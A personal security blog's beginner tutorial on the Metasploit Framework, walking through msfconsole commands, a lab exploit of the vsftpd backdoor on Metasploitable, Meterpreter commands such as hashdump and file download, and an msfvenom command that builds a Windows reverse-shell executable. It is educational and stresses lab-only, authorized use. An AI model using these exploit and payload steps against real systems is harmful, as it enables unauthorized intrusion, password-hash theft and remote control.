root@shreyas
  • ./about
  • ./experience
  • ./projects
  • ./skills
  • ./findings
  • ./blog
  • hire_me()
./about./experience./projects./skills./findings./blog
./resumehire_me()
Shreyas K U
© 2026 — Application Security Professional
HomeProjectsBlogContact
Back to Blog
Home/Blog/Metasploit Complete Guide: Learn It the Easy Way
Penetration Testing 10 min read

Metasploit Complete Guide: Learn It the Easy Way

S
Shreyas K UApplication Security Engineer · Accenture
July 13, 2026
Share
Metasploit Complete Guide: Learn It the Easy Way

Metasploit Complete Guide: Learn It the Easy Way

If you have spent any time around ethical hacking or penetration testing, you have heard the name Metasploit. It shows up in every course, every YouTube tutorial, and almost every real security job. But most guides jump straight into commands and leave beginners confused.

This guide is different. We will go slow, use plain English, and explain not just how to use Metasploit, but what it is, why it matters, and when you actually reach for it. By the end, you will understand the framework and be able to run your first attack safely in a home lab.

One rule before we start: only use Metasploit on machines you own or have written permission to test. Attacking systems you do not own is a crime in most countries. Everything in this guide is done against a practice machine built for learning.

What Is Metasploit, In Simple Words

Think of Metasploit as a giant, organized toolbox for hacking. Instead of writing attack code from scratch every time, security testers use Metasploit's ready-made tools to find weaknesses in computers, break in, and see how far an attacker could get.

It was created by H.D. Moore back in 2003 and is now maintained by a company called Rapid7. Today it is the most popular penetration testing framework in the world, and it comes pre-installed on Kali Linux, the operating system most hackers and testers use.

Here is the key idea. A vulnerability is a weakness in software. An exploit is the code that abuses that weakness. A payload is what runs on the target after the exploit works. Metasploit bundles thousands of exploits and payloads together and lets you fire them with a few simple commands. That is the whole magic.

Why people love it: it saves time, it is beginner-friendly compared to raw exploit code, and it keeps everything in one place.

When you use it: during a penetration test, in a security lab while learning, or when checking whether a machine on your network can be broken into.

Metasploit Framework vs Metasploit Pro

There are two main versions, and it is easy to mix them up.

VersionPriceInterfaceBest For
Metasploit FrameworkFree and open sourceCommand line (msfconsole)Learners, students, most pentesters, bug bounty hunters
Metasploit ProPaid, commercialWeb dashboard, automationBig security teams needing reports and automated campaigns

For learning and for almost all real testing, the free Framework is all you need. The paid Pro version mostly adds a point-and-click interface, automated phishing, and reporting features for large companies. This guide focuses on the free Framework, which is currently on the 6.4 line and updates almost every week with fresh exploits.

How Metasploit Is Organized: The Six Module Types

Everything in Metasploit is a "module." Understanding the six types is the fastest way to stop feeling lost. Here they are in plain language.

Module TypeWhat It DoesSimple Example
ExploitsThe attack code that abuses a weaknessBreaking in through an old, unpatched service
PayloadsThe code that runs after you break inOpening a remote command shell on the target
AuxiliaryHelpers that do not exploit, just scan or gather infoPort scanners, login brute-forcers, sniffers
PostActions taken after access is gainedGrabbing passwords, taking screenshots, digging deeper
EncodersReshape payloads to dodge basic antivirusHiding the payload's fingerprint
NopsFiller that keeps payloads stable in memoryPadding so the exploit lands cleanly

You do not need to memorize this. Just remember: exploits get you in, payloads give you control, auxiliary and post modules do the supporting work.

Getting Started: Installing and Launching Metasploit

The easiest path is Kali Linux, where Metasploit is already installed. If you are on Kali, you are ready to go. On other Linux systems or macOS, you can use the official installer from Rapid7.

Keep it updated so you get the newest exploits:

bash
# Update Metasploit to the latest version
sudo msfupdate

Now launch the main tool, the console:

bash
# Start the Metasploit console
msfconsole

The first time it loads it may take a moment. Newer versions are much faster because they only load modules when you actually use them. Once you see the msf6 > prompt, you are inside. Congratulations, you are driving Metasploit.

The Commands You Will Use Every Day

You only need a handful of commands to be productive. Here they are with what each one does.

CommandWhat It Does
search <keyword>Find a module by name, software, or CVE number
use <module>Select a module to work with
infoShow details, options, and description of the chosen module
show optionsList the settings you must fill in
set <option> <value>Fill in a setting, like the target IP
checkTest if the target is vulnerable without attacking
exploit or runLaunch the attack
sessionsList your active connections to hacked machines
backLeave the current module
helpShow all available commands

That is genuinely most of what daily Metasploit use looks like: search, use, set, exploit. Repeat.

A Full Hands-On Walkthrough (Safe Lab)

Let us tie it all together with a real example. We will target Metasploitable, a machine that was built on purpose to be full of weaknesses so people can practice legally. Never do this to a real system you do not own.

Step 1: Find your target. First, scan to find open doors (ports) on the practice machine at, say, 192.168.56.101.

bash
# Inside msfconsole, run a quick port scan using an auxiliary module
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.101
run

Step 2: Pick something to attack. Say the scan shows an old FTP service running. Search for a matching exploit.

bash
search vsftpd

Step 3: Select and inspect the exploit.

bash
use exploit/unix/ftp/vsftpd_234_backdoor
show options

Step 4: Set your target and check first. The check command is a good habit. It confirms the machine is vulnerable before you fire.

bash
set RHOSTS 192.168.56.101
check

Step 5: Launch the attack.

bash
exploit

If it works, you get a command shell on the target machine. You are now "inside." From here you could list files, read data, or move deeper. In a real test, this is the moment you document exactly what an attacker could reach, then help the owner fix it.

Meterpreter: The Payload That Does Everything

When people talk about the "cool" part of Metasploit, they usually mean Meterpreter. It is a special, powerful payload that lives in the target's memory and gives you a rich remote control menu instead of a plain shell.

Once you have a Meterpreter session, useful commands include:

Meterpreter CommandWhat It Does
sysinfoShow details about the hacked computer
getuidSee which user account you are running as
screenshotCapture the target's screen
hashdumpGrab password hashes (Windows)
download <file>Pull a file off the target
upload <file>Push a file onto the target
shellDrop into a normal command prompt

Meterpreter is popular because it is quiet, flexible, and runs in memory, which makes it harder for simple antivirus to catch. It is the standard payload for serious testing.

Creating Payloads With msfvenom

Sometimes you do not want a full exploit. You just want a standalone payload file, for example a program that connects back to you when someone runs it. That is what msfvenom is for. It is Metasploit's payload builder, and it runs as its own command outside the console.

Here is a simple example that creates a payload for a Windows lab machine (again, only ever for systems you own):

bash
# Build a reverse-connect Windows payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o payload.exe

In plain words: -p picks the payload, LHOST is your machine's IP where the target will call back, LPORT is the port to listen on, -f exe makes a Windows program, and -o names the output file. You would then set up a listener in Metasploit to catch the connection when the file runs in your lab.

Staying Legal and Thinking About Defense

Metasploit is a professional tool, not a toy. Using it against systems without permission can lead to serious criminal charges. Always test in a controlled lab, or with a signed authorization letter for a real client.

The good news is that understanding Metasploit also makes you better at defense. If you know how attackers break in, you know what to protect. The best defenses are simple and boring: patch your software quickly, remove services you do not use, use strong passwords and multi-factor login, and watch your network logs for the kind of activity these tools create. Most Metasploit exploits only work because someone forgot to update old software.

Quick Reference Cheat Sheet

Bookmark this. It covers the full basic workflow.

StageCommand
Update Metasploitsudo msfupdate
Start the consolemsfconsole
Find a modulesearch <keyword>
Select a moduleuse <module_path>
See required settingsshow options
Set the targetset RHOSTS <ip>
Confirm vulnerabilitycheck
Launchexploit or run
List sessionssessions
Enter a sessionsessions -i <id>
Build a payloadmsfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <file>

Final Thoughts

Metasploit can feel overwhelming at first because it is huge. But the core idea is simple: it is an organized toolbox that turns messy attack code into clean, repeatable commands. Learn the six module types, memorize the search-use-set-exploit flow, practice safely in a lab, and you will be comfortable faster than you expect.

Start small. Set up a home lab with Kali Linux and a practice target. Break in once, understand exactly what happened, and then learn to defend against it. That loop of attack and defense is how real security skills are built.

Reminder: Only test systems you own or are legally authorized to assess. Unauthorized access is illegal.

Tagged in:

#metasploit#metasploit-framework#penetration-testing#ethical-hacking#msfconsole#meterpreter#msfvenom#kali-linux#cybersecurity#red-team
Share
S
Shreyas K UApplication Security Engineer · Accenture

Shreyas K U is an Application Security Engineer at Accenture, specializing in web application penetration testing, DAST assessments, and OWASP Top 10 vulnerability research — with 25+ documented findings across banking and financial applications.

LinkedIn GitHub X

Comments (0)

No comments yet. Be the first to share your thoughts.

Leave a comment

You might also like

HTTP vs HTTPS: What's the Difference and Why It Matters

HTTP vs HTTPS explained simply. Learn the real difference, how HTTPS encryption works, and why every website needs it today.

Penetration Testing Methodology: The 5 Phases Explained

A clear guide to penetration testing methodology. Learn the five phases, top frameworks, pentest types, and the tools used at every stage.